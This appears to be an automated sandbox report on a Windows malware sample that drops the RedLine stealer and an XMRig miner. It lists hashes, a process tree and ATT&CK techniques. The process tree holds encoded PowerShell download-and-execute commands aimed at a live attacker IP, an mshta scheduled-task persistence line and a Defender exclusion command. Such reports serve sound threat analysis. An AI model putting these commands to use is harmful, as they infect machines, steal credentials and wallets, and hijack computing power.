Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-01-2023 05:21

General

  • Target

    eb5573984eac228c2ad2009a61debb47656e3a36e30f2a5ee02d62afdf689cb1.exe

  • Size

    35KB

  • MD5

    d5ba3235c8f5182eb261b3e14a6df208

  • SHA1

    4589e195051ce131b046014bcb8816a07f82ded3

  • SHA256

    eb5573984eac228c2ad2009a61debb47656e3a36e30f2a5ee02d62afdf689cb1

  • SHA512

    a21e926fef409d67fa78e75122f738b9a2100c2d290955054e8933f40b7e8ac203d6e9a3385a84af7059b1fe59006764467c429f6c10f2d3188b720fb367da3d

  • SSDEEP

    768:zSa3fOpnf8BcAjyRG90y4r/wOPpdwMNhghy0q9:zSoGJf82J894kmTghy0w

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://62.204.41.194/go.png

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://62.204.41.194/me.png

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://62.204.41.194/F1.exe

Extracted

Family

redline

Botnet

$

C2

31.41.244.135:19850

Attributes
  • auth_value

    66623f79e2af33286760f5dd6c4262dc

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\eb5573984eac228c2ad2009a61debb47656e3a36e30f2a5ee02d62afdf689cb1.exe
    "C:\Users\Admin\AppData\Local\Temp\eb5573984eac228c2ad2009a61debb47656e3a36e30f2a5ee02d62afdf689cb1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3856
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBnAG8ALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
      2⤵
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4836
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "OneDrive Standalone Update Task - S - 1 - 5 - 21 - 3301851721 - 4018334294 - 377670162 - 1001" /sc ONLOGON /tr "mshta http://62.204.41.194/c.html " /rl HIGHEST /f
        3⤵
        • Creates scheduled task(s)
        PID:2796
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBtAGUALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5032
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:3936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBOAG8AUwBsAGUAZQBwAC4AZQB4AGUAIgANAAoAJABXAGUAYgBGAGkAbABlACAAPQAgACIAaAB0AHQAcAA6AC8ALwA2ADIALgAyADAANAAuADQAMQAuADEAOQA0AC8ARgAxAC4AZQB4AGUAIgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVwBlAGIARgBpAGwAZQAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4724
      • C:\Users\Admin\AppData\Roaming\NoSleep.exe
        "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3696
        • C:\Windows\System32\conhost.exe
          "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:720
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAbABoAG4AIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE8AbgBlAEQAcgBpAHYAZQBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlACIAJwApACAAPAAjAG0AeAAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcATwBuACkAIAA8ACMAbQB0AHUAdAAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdwAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAAIAAtAFIAdQBuAEwAZQB2AGUAbAAgACcASABpAGcAaABlAHMAdAAnACAALQBGAG8AcgBjAGUAIAA8ACMAbgB3AHEAIwA+ADsAIABDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABOAG8AUwBsAGUAZQBwAC4AZQB4AGUAJwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE8AbgBlAEQAcgBpAHYAZQBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgADwAIwBlAHEAcwAjAD4AOwAgAFMAdABhAHIAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAA8ACMAdwBmAGkAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwA7AA=="
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:572
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAnAFwAQQBwAHAARABhAHQAYQAnAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2236
  • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
    C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2228
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2872
      • C:\Windows\System32\conhost.exe
        C:\Windows\System32\conhost.exe "cvxjxkjice"
        3⤵
          PID:1328
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe pjsnsurpv0 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZebSGUfj6Vuv+kPoPZ9FoidkTm/7TRz3Cxu5/LqhuwWCS2hvmHfyPTAWIo4zY5OcwjP+79VuJh5O5c9vMH8WB3WKocLPQQ3D/631f214VrDNh9z0jOLbJJ9YXALTSKeo3z0yqpo23wDcDd1T/hDfuDceoldVJQGMTDTCXN0Q0os5qQZpM/bbi7sbKmKkdCHj6mFIu02fq5LlHaQLCNyvHRzVgK320/ko7oR3JyhnmBQHtbZUpiFNPFJEf7lTC77qWxEJ3h4yjiCPgrTI6MoBbSgjAmpPlQgNd71RJ7lG0ikmSTeoT3CddgZH5TjpSuHbPN3ha82GVaI5+j+dJzAfNAaJfxYNDrhTxng1MpRAutdkSftro/iAbX8hcx7q/b7Qg7J3CyclBC4/Mwe/Jeo6Q9AKf6F7/3Yi99ifKM20LuEsFK/pU/n4DnNACnryf3RdME
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2116

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    1
    T1112

    Credential Access

    Credentials in Files

    1
    T1081

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Collection

    Data from Local System

    1
    T1005

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
      Filesize

      642B

      MD5

      0b4ce74a6163ae20974c8ba4fdd4f1fa

      SHA1

      3c645b8b4d9bd437e7f1f74c21304452245dba1c

      SHA256

      2267541e715084f5cda2c56fe4186d937b73a3bb8e31a5e87cdc351ab558d4e7

      SHA512

      d3dd26b2817f22f38acebe03f6487d01421dea27717ac352a03b1b4bfec990d80796458cf608aa25e932bb91cfeedd25d6ced51cf3e554fdc3a1164bc3e5805c

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      eb4d127b8a6f84a1cee423c5e3e3a51d

      SHA1

      c55263a8ff097067f2393ce2120801a445fd1949

      SHA256

      d73b077e2ae7f7608ebf774fb83ab13c7bc7a5c3e4d9d96fda2bf695dc698514

      SHA512

      45a52004f8b63ac089de017437ba0e03335f18469942795d36ce3c3d017f842e582103c91e07d9af0fa8dfbbe6f2f68f2fac91383a48b6535952a8630911f21e

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      eb4d127b8a6f84a1cee423c5e3e3a51d

      SHA1

      c55263a8ff097067f2393ce2120801a445fd1949

      SHA256

      d73b077e2ae7f7608ebf774fb83ab13c7bc7a5c3e4d9d96fda2bf695dc698514

      SHA512

      45a52004f8b63ac089de017437ba0e03335f18469942795d36ce3c3d017f842e582103c91e07d9af0fa8dfbbe6f2f68f2fac91383a48b6535952a8630911f21e

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      6622ed5f8592ea827a26d5608f8fec3f

      SHA1

      e4360bdbaba62948776e4efba19120ecef7b0cbe

      SHA256

      c62f098bc2f7f95c2714f975915712a196bbd5cf59b577f51778db4daa546661

      SHA512

      c3da031cd6ffb73cc469fa128b89d56d920f467775668787361abc3c86bddee295a9356dfee8a106f697fcab43ce573172308d6f60779de2d6529c4ff614a07d

    • C:\Users\Admin\AppData\Roaming\NoSleep.exe
      Filesize

      4.4MB

      MD5

      da256d1a520061b14d1cd013d99e84ff

      SHA1

      1aad91448144852bd1bf83dcb85bd14c6db160da

      SHA256

      feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

      SHA512

      8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

    • C:\Users\Admin\AppData\Roaming\NoSleep.exe
      Filesize

      4.4MB

      MD5

      da256d1a520061b14d1cd013d99e84ff

      SHA1

      1aad91448144852bd1bf83dcb85bd14c6db160da

      SHA256

      feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

      SHA512

      8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

    • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
      Filesize

      4.4MB

      MD5

      da256d1a520061b14d1cd013d99e84ff

      SHA1

      1aad91448144852bd1bf83dcb85bd14c6db160da

      SHA256

      feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

      SHA512

      8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

    • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
      Filesize

      4.4MB

      MD5

      da256d1a520061b14d1cd013d99e84ff

      SHA1

      1aad91448144852bd1bf83dcb85bd14c6db160da

      SHA256

      feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

      SHA512

      8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

    • memory/572-158-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/572-155-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/572-153-0x0000000000000000-mapping.dmp
    • memory/720-164-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/720-151-0x000001D4268F0000-0x000001D426D4B000-memory.dmp
      Filesize

      4.4MB

    • memory/720-152-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/1328-179-0x00000147A3290000-0x00000147A32A9000-memory.dmp
      Filesize

      100KB

    • memory/1328-184-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/1328-191-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/2116-188-0x0000000140000000-0x0000000140809000-memory.dmp
      Filesize

      8.0MB

    • memory/2116-186-0x000001E716A40000-0x000001E716A60000-memory.dmp
      Filesize

      128KB

    • memory/2116-193-0x000001E7183B0000-0x000001E7183D0000-memory.dmp
      Filesize

      128KB

    • memory/2116-192-0x0000000140000000-0x0000000140809000-memory.dmp
      Filesize

      8.0MB

    • memory/2116-183-0x0000000140000000-0x0000000140809000-memory.dmp
      Filesize

      8.0MB

    • memory/2116-190-0x000001E718370000-0x000001E7183B0000-memory.dmp
      Filesize

      256KB

    • memory/2116-185-0x0000000140000000-0x0000000140809000-memory.dmp
      Filesize

      8.0MB

    • memory/2116-181-0x0000000140000000-0x0000000140809000-memory.dmp
      Filesize

      8.0MB

    • memory/2116-182-0x000000014036EAC4-mapping.dmp
    • memory/2116-194-0x000001E7183B0000-0x000001E7183D0000-memory.dmp
      Filesize

      128KB

    • memory/2236-141-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/2236-136-0x0000000000000000-mapping.dmp
    • memory/2236-143-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/2796-144-0x0000000000000000-mapping.dmp
    • memory/2872-187-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/2872-170-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/2872-177-0x0000019844070000-0x0000019844082000-memory.dmp
      Filesize

      72KB

    • memory/3696-145-0x0000000000000000-mapping.dmp
    • memory/3856-132-0x0000000000550000-0x0000000000560000-memory.dmp
      Filesize

      64KB

    • memory/3856-137-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/3936-156-0x0000000000400000-0x0000000000438000-memory.dmp
      Filesize

      224KB

    • memory/3936-189-0x0000000007820000-0x0000000007870000-memory.dmp
      Filesize

      320KB

    • memory/3936-172-0x0000000004D50000-0x0000000004DB6000-memory.dmp
      Filesize

      408KB

    • memory/3936-173-0x0000000005E20000-0x00000000063C4000-memory.dmp
      Filesize

      5.6MB

    • memory/3936-174-0x0000000005950000-0x00000000059E2000-memory.dmp
      Filesize

      584KB

    • memory/3936-175-0x00000000063D0000-0x0000000006592000-memory.dmp
      Filesize

      1.8MB

    • memory/3936-176-0x0000000006AD0000-0x0000000006FFC000-memory.dmp
      Filesize

      5.2MB

    • memory/3936-169-0x0000000004A10000-0x0000000004A4C000-memory.dmp
      Filesize

      240KB

    • memory/3936-178-0x0000000005C30000-0x0000000005CA6000-memory.dmp
      Filesize

      472KB

    • memory/3936-157-0x000000000041837E-mapping.dmp
    • memory/3936-180-0x0000000005BF0000-0x0000000005C0E000-memory.dmp
      Filesize

      120KB

    • memory/3936-167-0x0000000004AE0000-0x0000000004BEA000-memory.dmp
      Filesize

      1.0MB

    • memory/3936-166-0x00000000049B0000-0x00000000049C2000-memory.dmp
      Filesize

      72KB

    • memory/3936-162-0x0000000004F10000-0x0000000005528000-memory.dmp
      Filesize

      6.1MB

    • memory/4724-134-0x0000000000000000-mapping.dmp
    • memory/4724-139-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/4724-150-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/4836-163-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/4836-133-0x0000000000000000-mapping.dmp
    • memory/4836-138-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/5032-165-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/5032-135-0x0000000000000000-mapping.dmp
    • memory/5032-171-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/5032-140-0x00007FFA04EA0000-0x00007FFA05961000-memory.dmp
      Filesize

      10.8MB

    • memory/5032-142-0x0000020E51DC0000-0x0000020E51DE2000-memory.dmp
      Filesize

      136KB